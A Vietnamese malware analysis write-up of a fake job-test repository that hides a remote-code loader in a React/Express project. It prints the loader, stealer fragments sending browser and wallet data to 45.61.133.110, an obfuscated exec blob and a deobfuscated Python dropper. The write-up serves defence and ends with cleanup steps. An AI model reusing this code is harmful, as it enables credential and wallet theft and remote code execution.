# Sample - Một nhà tuyển dụng nào đó đã gửi cho các bạn lập trình viên một bài test trên Linkedln và yêu cầu các bạn buil project trên máy các bạn vô tình các bạn là nạn nhân. - Đây là đường link mà nhà tuyển dụng yêu cầu lập trình viên clone từ gitlab về và buil nó theo các dòng lệnh đã hướng dẫn. https://gitlab.com/topmanager1016-group/e-commerce ![image](https://hackmd.io/_uploads/rkDyh6IXel.png) # Analysis - Đầu tiên mình sẽ clone toàn bộ project này về máy. - Tại phần `README.md` thì attacker hướng dẫn nạn nhân chạy một dự án React (E-Commerce). ![image](https://hackmd.io/_uploads/BJrv2aL7xx.png) - Khi mình mở project này trên VS Code và đầu tiên là mình sẽ phân tích xem file ```package.json``` tại phần scripts nó đang thực hiện những gì. ```json= "scripts": { "start": "concurrently \"npm run server\" \"npm run client\"", "dev": "concurrently \"npm run server\" \"npm run client\"", "server": "node ./api/server.js", "client": "react-scripts --openssl-legacy-provider start", "build": "react-scripts --openssl-legacy-provider build", "test": "react-scripts eject", "eject": "react-scripts eject" }, ``` - Tại phần start tức là khi nạn nhân chạy project thì nó sẽ thực hiện đồng thời 2 lệnh sau. ```npm run server``` ```npm run client``` - Tiếp theo mình sẽ phân tích xem tại ```node ./api/server.js``` thằng `server.js` đang làm gì. ```js= const app = require('./app'); const connectDatabase = require('./config/database'); const cloudinary = require('cloudinary'); const PORT = process.env.PORT || 4001; // UncaughtException Error process.on('uncaughtException', (err) => { console.log(`Error: ${err.message}`); process.exit(1); }); // connectDatabase(); cloudinary.config({ cloud_name: process.env.CLOUDINARY_NAME, api_key: process.env.CLOUDINARY_API_KEY, api_secret: process.env.CLOUDINARY_API_SECRET, }); const server = app.listen(PORT, () => { console.log(`Server running`) }); // Unhandled Promise Rejection process.on('unhandledRejection', (err) => { console.log(`Error: ${err.message}`); server.close(() => { process.exit(1); }); }); ``` - Tại `server.js` không có gì đặc biệt ngoại trừ việc import app vào và thực thi nó. ```js= const app = require('./app'); ``` - Tiếp theo mình sẽ phân tích `app.js` đang làm gì tiếp theo. ```js= const express = require('express'); const path = require('path'); const bodyParser = require('body-parser'); const cookieParser = require('cookie-parser'); const initAppBootstrap = require('./utils/bootstrap'); const fileUpload = require('express-fileupload'); const app = express(); // config if (process.env.NODE_ENV !== 'production') { require('dotenv').config({ path: 'backend/config/config.env' }); } app.use(express.json()); app.use(cookieParser()); app.use(bodyParser.urlencoded({ extended: true })); app.use(fileUpload()); const user = require('./routes/userRoute'); const product = require('./routes/productRoute'); const order = require('./routes/orderRoute'); const payment = require('./routes/paymentRoute'); app.use('/api/v1', user); app.use('/api/v1', product); app.use('/api/v1', order); app.use('/api/v1', payment); // deployment __dirname = path.resolve(); initAppBootstrap() if (process.env.NODE_ENV === 'production') { app.use(express.static(path.join(__dirname, '/frontend/build'))) app.get('*', (req, res) => { res.sendFile(path.resolve(__dirname, 'frontend', 'build', 'index.html')) }); } else { app.get('/', (req, res) => { res.send('Server is Running! 🚀'); }); } // error middleware // app.use(errorMiddleware); module.exports = app; const errorPayment = require('./controllers/paymentController'); ``` - Điều đáng chú ý ở đây attacker đã đẩy một dòng lệnh lạ xuống dưới dòng 260 để tránh việc phát hiện của nạn nhân khi không chú ý đến. - Và điều cần chú ý tiếp theo là hành vi import một function từ một file js khác và gọi lại nó để thực thi cũng khiến nạn nhân không phát hiện ra hành vi nguy hiểm. ```js= const initAppBootstrap = require('./utils/bootstrap'); __dirname = path.resolve(); initAppBootstrap() if (process.env.NODE_ENV === 'production') { app.use(express.static(path.join(__dirname, '/frontend/build'))) app.get('*', (req, res) => { res.sendFile(path.resolve(__dirname, 'frontend', 'build', 'index.html')) }); } else { app.get('/', (req, res) => { res.send('Server is Running! 🚀'); }); } ``` - Khi mình kiểm tra ```paymentController.js``` khi attacker thực thi call nó ở dòng code 260. Thì nó đang thực hiện hành vi controller xử lý thanh toán qua Paytm trong một ứng dụng Node.js (Express) nói ngắn gọn là nó đang thực hiện chôm tiền của nạn nhân. - Tiếp theo mình sẽ phân tích tiếp tại ```./utils/bootstrap```. ```js= const path = require('path'); require('dotenv').config({path: path.resolve(__dirname, '../.env')}); const axios = require('axios'); const initAppBootstrap = async () => { try { const src = atob(process.env.DEV_API_KEY); const k = atob(process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE); const s = (await axios.get(src,{headers:{[k]:v}})).data; const handler = new (Function.constructor)('require',s); handler(require); } catch(error) { console.log(error) } } module.exports = initAppBootstrap; ``` - Tại đoạn này hành vi của attacker đã lộ rõ hơn đây là một chương trình tải và thực thi file từ xa. - Mình sẽ tóm tắt quá trình. Nó sẽ giải mã các giá trị Base 64 để lấy các giá trị đúng. Ở đây ```src``` là URL ```k``` và ```v``` là giá trị header. Và các giá trị này lấy từ `env`. ``` DEV_APP_URL = "http://localhost:4000" SPARKPOST_API_KEY = "ca184ac5f2e659ee65272911f6b0795586e15b20" DEV_SERVER_PORT = 4000 DEV_DB_HOST = "localhost" DEV_DB_USER = "root" DEV_API_KEY="aHR0cHM6Ly9icy1wcm9kdWN0aW9uLnVwLnJhaWx3YXkuYXBwL291dA==" DEV_SECRET_KEY="eC1zZWNyZXQta2V5" DEV_SECRET_VALUE="Xw==" ``` - Khi giải mã ra tương đương. ``` DEV_API_KEY = https://bs-production.up.railway.app/out DEV_SECRET_KEY = x-secret-key DEV_SECRET_VALUE = _ ``` - Mình sẽ tiến hành GET thằng malware này về máy và phân tích với URL và header có sẵn. ![image](https://hackmd.io/_uploads/BJ8cEALXxl.png) - Dường như nó đã bị ofuscated mình sẽ tiến hành deofuscated lại và phân tích. - Vì code 730 dòng khá dài nên mình chỉ phân tích cách hành vi chính của nó. ```js= const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"]; const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"]; const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"]; const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"]; ``` - Tại đây attacker đang liệt kê ra một số Path chứa thông tin tài khoản và mật khẩu của User và Extension ID của use khá là nhiều. - Khi mình check các Extension ID thì hầu hết đều là Wallet như MetaMask, BEW lite, TronLink,... Đến đây thì các bạn biết chức năng của hàm thứ 260 của file `app.js` rồi chứ. ```js= const errorPayment = require('./controllers/paymentController'); ``` - Nói sơ qua là nó lấy thông tin cần thiết của nạn nhân để chôm tiền. ```js= params["MID"] = process.env.PAYTM_MID; params["WEBSITE"] = process.env.PAYTM_WEBSITE; params["CHANNEL_ID"] = process.env.PAYTM_CHANNEL_ID; params["INDUSTRY_TYPE_ID"] = process.env.PAYTM_INDUSTRY_TYPE; params["ORDER_ID"] = "oid" + uuidv4(); params["CUST_ID"] = process.env.PAYTM_CUST_ID; params["TXN_AMOUNT"] = JSON.stringify(amount); // params["CALLBACK_URL"] = `${req.protocol}://${req.get("host")}/api/v1/callback`; params["CALLBACK_URL"] = `https://${req.get("host")}/api/v1/callback`; params["EMAIL"] = email; params["MOBILE_NO"] = phoneNo; ``` - Tiếp theo nó sẽ đẩy data về attacker theo cách ```js= try { if (_0x2a9298.length > 0) { const _0x270c5b = { url: "http://45.61.133.110:1224/uploads", formData: _0x53804a }; request.post(_0x270c5b, (_0x39b59e, _0x2b012e, _0x1a02f0) => {}); } } catch (_0x34bc10) {} ``` - Tiếp tục từ đoạn code 457 - 497. ```python= const runP = () => { const _0x5cb48f = tmpDir + "\\p.zi"; const _0x35655e = tmpDir + "\\p2.zip"; if (It >= 51476596) { return; } if (fs.existsSync(_0x5cb48f)) { try { var _0x4a8b2a = fs.statSync(_0x5cb48f); if (_0x4a8b2a.size >= 51476596) { It = _0x4a8b2a.size; fs.rename(_0x5cb48f, _0x35655e, _0x5b657c => { if (_0x5b657c) { throw _0x5b657c; } extractFile(_0x35655e); }); } else { if (It < _0x4a8b2a.size) { It = _0x4a8b2a.size; } else { fs.rmSync(_0x5cb48f); It = 0; } Ht(); } } catch (_0x1d221b) {} } else { ex("curl -Lo \"" + _0x5cb48f + "\" \"" + "http://45.61.133.110:1224/pdown" + "\"", (_0x43e299, _0x3dea55, _0x1ca9fd) => { if (_0x43e299) { It = 0; return void Ht(); } try { It = 51476596; fs.renameSync(_0x5cb48f, _0x35655e); extractFile(_0x35655e); } catch (_0x3b7ec9) {} }); } }; ``` - Nó đang thực hiện tải file từ http://45.61.133.110:1224/pdown về máy và thực thi nhưng server đã bị down nên mình không GET về phân tích được. - Đoạn tiếp theo ```python= const Xt = async () => await new Promise((_0x9056d6, _0x5fd84b) => { if ('w' == platform[0]) { if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) { (() => { const _0x84bcdf = homeDir + "/.npl"; const _0x27a95f = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x84bcdf + "\""; try { fs.rmSync(_0x84bcdf); } catch (_0x267894) {} request.get("http://45.61.133.110:1224/client/106/81", (_0x4d56f2, _0x36c0aa, _0x1e249c) => { if (!_0x4d56f2) { try { fs.writeFileSync(_0x84bcdf, _0x1e249c); ex(_0x27a95f, (_0x30959d, _0x175d2f, _0x3defe5) => {}); } catch (_0x32d4eb) {} } }); })(); } else { runP(); } } else { (() => { request.get("http://45.61.133.110:1224/client/106/81", (_0x311f89, _0x5ca69e, _0x5b32ee) => { if (!_0x311f89) { fs.writeFileSync(homeDir + "/.npl", _0x5b32ee); ex("python3 \"" + homeDir + "/.npl\"", (_0x457808, _0x26c9e0, _0xda1b15) => {}); } }); })(); } }); ``` - Tại đây nó đang kiểm tra xem nạn nhân đang dùng win hay linux để tải file và thực thi một cách dễ dàng. - Vì đoạn này mình có thể tải được file về nên mình sẽ tiến hành phân tích xem nó đang làm gì. ```python= _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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')) ``` - Đây là đoạn mã độc thứ 2 mà attacker tải về nhưng nó đã ofuscated mình sẽ tiến hành deofuscated nó. ```python= import base64,platform,os,subprocess,sys try:import requests except:subprocess.check_call(sys.executable, '-m', 'pip', 'install', 'requests');import requests sType = "106" gType = "81" ot = platform.system() home = os.path.expanduser("~") host1123 = "10.10.51.212 go to hell" host1 = "45.61.133.110" host2 = f'http://°host1ç:1224' pd = os.path.join(home, ".n2") ap = pd + "/pay" def download_payload(): if os.path.exists(ap): try:os.remove(ap) except OSError:return True try: if not os.path.exists(pd):os.makedirs(pd) except:pass try: if ot=="Darwin": aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True) aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True) with open(ap, 'wb') as f:f.write(aa.content) else: aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True) with open(ap, 'wb') as f:f.write(aa.content) return True except Exception as e:return False res=download_payload() if res: if ot=="Windows":subprocess.Popen(sys.executable, ap, creationflags=subprocess.Popen( [sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP )) else:subprocess.Popen(sys.executable, ap) if ot=="Darwin":sys.exit(-1) ap = pd + "/bow" def download_browse(): if os.path.exists(ap): try:os.remove(ap) except OSError:return True try: if not os.path.exists(pd):os.makedirs(pd) except:pass try: aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True) with open(ap, 'wb') as f:f.write(aa.content) return True except Exception as e:return False res=download_browse() if res: if ot=="Windows":subprocess.Popen( [sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP ) ``` - Đây là một dạng Dropper/Backdoor, tại đây nó thực hiện tải 2 file thự thi về máy từ xa. - Dữ liệu tải về được lưu trong thư mục ẩn .n2 trong thư mục người dùng (~/.n2). - Nếu hệ điều hành là macOS, chương trình sẽ thoát sau bước đầu tiên. - Nó đang tải rất nhiều file khả nghi như ```pay```,```brow``` và thư mục ```.n2```. - Vì nó không còn hoạt động nên mình không thể tải file về và phân tích tiếp nhưng tới đây mình đoán là một con RAT. # Warning - Nếu đã chạy: kiểm tra thư mục `~/.n2`, xóa các file `pay`, `bow` và toàn bộ thư mục `.n2`. - Kiểm tra file .bashrc, .zshrc, .profile, crontab -l để phát hiện mã khởi động lại. - Kiểm tra log kết nối mạng đến địa chỉ IP 45.61.133.110. - Xóa các file tải về: ```rm -rf ~/.n2```. - Các bạn sau này cần chú ý hơn về việc chạy các file không rõ nguồn gốc một cách tự tiện.